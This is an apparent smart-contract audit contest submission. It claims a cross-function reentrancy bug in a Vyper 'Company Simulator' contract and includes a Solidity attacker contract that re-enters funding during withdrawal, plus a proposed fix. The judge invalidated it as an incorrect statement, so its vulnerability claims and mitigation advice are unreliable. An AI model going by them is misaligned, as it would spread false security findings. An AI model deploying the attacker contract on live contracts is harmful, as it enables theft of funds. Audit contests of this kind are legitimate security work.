Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Missing cross-function non-reentrancy (reentrant calls can manipulate funding/issuance during withdrawals)

Root + Impact

Description

  • Normal behavior:

    Value-transfer and state-mutating flows (funding, share issuance, withdrawals) should be safe from reentrancy: an external call that transfers ETH must not allow the recipient to re-enter other state-changing entrypoints in a way that breaks invariants. one or more sentences

  • Specific issue:

    The contract contains multiple external/value-sending entrypoints (fund_cyfrin → internal fund_investor/fund_owner, withdraw_shares() which performs a raw_call to msg.sender, and pay_holding_debt()), but it lacks a consistent applied non-reentrancy guard across those flows — the top-of-file # pragma nonreentrancy on is only a comment and not an applied decorator. Because of this, a malicious investor contract can receive ETH from withdraw_shares() and, during that external transfer, re-enter the contract (for example by calling fund_cyfrin(1)), causing share issuance, timestamp updates, or company accounting to occur in an inconsistent state (e.g., after company_balance was already reduced by the withdrawing call). This can lead to economic manipulation or accounting corruption.

// Root cause in the codebase with @> marks to highlight the relevant section
# top of file (note: comment, not a guard)
@> # pragma nonreentrancy on
# withdraw_shares() performs an external transfer with raw_call:
@external
def withdraw_shares():
...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
assert self.company_balance >= payout, "Insufficient company funds!!!"
self.company_balance -= payout
@> raw_call(
@> msg.sender,
@> b"",
@> value=payout,
@> revert_on_failure=True,
@> )
log Withdrawn_Shares(investor=msg.sender, shares=shares_owned)
# fund_cyfrin() is an external payable dispatcher to internal fund_investor/owner:
@external
@payable
def fund_cyfrin(action: uint256):
if action == 0:
self.fund_owner()
elif action == 1:
self.fund_investor()

Risk

Likelihood:

  • Medium — requires an attacker to invest via a smart-contract wallet (easy to deploy) and then trigger a withdrawal to their contract so their fallback/receive re-enters the contract. Real-world investors are often EOAs, but any single malicious contract investor suffices.

Impact:

  • High — Possible outcomes include:

    • Purchasing shares while company_balance has been reduced for a payout, leading to cheaper shares (share-price manipulation) and unfair allocation.

    • Corrupting issued_shares / share_received_time semantics by reentering funding logic mid-withdrawal.

    • Creating accounting inconsistencies that can be exploited later for gains or to cause other users’ calls to revert.

Financial and trust damage — attackers may be able to profit or irreparably break share accounting.

Proof of Concept

Below is a single Solidity PoC that demonstrates the reentrancy pattern:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICyfrin {
function fund_cyfrin(uint256 action) external payable;
function withdraw_shares() external;
function get_my_shares() external view returns (uint256);
function get_balance() external view returns (uint256);
}
contract ReentrantInvestor {
ICyfrin public target;
address public owner;
bool internal reentered;
constructor(address _target) {
target = ICyfrin(_target);
owner = msg.sender;
}
// Fallback receives the payout and immediately re-enters to buy shares
receive() external payable {
// only reenter once to demonstrate effect
if (!reentered) {
reentered = true;
// Re-enter target to buy shares while withdraw_shares() is mid-flight
// This call routes to fund_investor() and will use the contract's current accounting
// (which may have been mutated by the withdraw call).
// Send a small amount to purchase shares.
try target.fund_cyfrin{value: 0.01 ether}(1) {
// success (we bought shares during the withdraw)
} catch {
// ignore revert for demonstration
}
}
}
// helper to perform the sequence: invest, then withdraw to trigger reentry
function attackSequence() external payable {
require(msg.value >= 0.02 ether, "send >= 0.02 ETH");
// Step 1: invest to become shareholder (use fund_cyfrin action 1)
target.fund_cyfrin{value: 0.01 ether}(1);
// Step 2: trigger withdraw (this will send ETH into this contract and cause receive() to run)
// During receive() we re-enter fund_cyfrin() and buy more shares while target accounting might be inconsistent.
target.withdraw_shares();
}
// helper to view resulting shares we hold (after attack)
function myShares() external view returns (uint256) {
return target.get_my_shares();
}
// allow owner to withdraw ETH from this malicious contract after PoC
function drain() external {
require(msg.sender == owner);
payable(owner).transfer(address(this).balance);
}
}

Recommended Mitigation

Explanation (brief)

Apply a consistent non-reentrancy strategy across all external/value-sending functions. Use explicit @nonreentrant decorators (or a reentrancy mutex) on all functions that mutate funds or issue shares (withdraw_shares, fund_cyfrin, pay_holding_debt, and any refund/partial-issue branches). Use checks→effects→interactions and prefer a pull payment model where feasible (record owed amounts and let recipients claim with a protected claim() function). If external calls are required, ensure state is fully consistent before making them.

- remove this code
+ add this code
@@
-# pragma nonreentrancy on # <-- this is only a comment, remove or replace
+# remove the misleading pragma comment and apply explicit locks instead
@@
-@external
-def fund_cyfrin(action: uint256):
+@external
+@nonreentrant("fund_lock")
+def fund_cyfrin(action: uint256):
...
@@
-@external
-def withdraw_shares():
+@external
+@nonreentrant("withdraw_lock")
+def withdraw_shares():
...
- self.company_balance -= payout
- raw_call(
- msg.sender,
- b"",
- value=payout,
- revert_on_failure=True,
- )
+ self.company_balance -= payout
+ # Prefer using `send()` or a safe internal wrapper that prevents reentrant callbacks
+ # and/or use a pull-payment model:
+ # record owed amount and let investor call `claim_withdrawal()` (protected) to receive ETH.
+ send(msg.sender, payout)
Updates

Lead Judging Commences

0xshaedyw Lead Judge
5 days ago
0xshaedyw Lead Judge 3 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.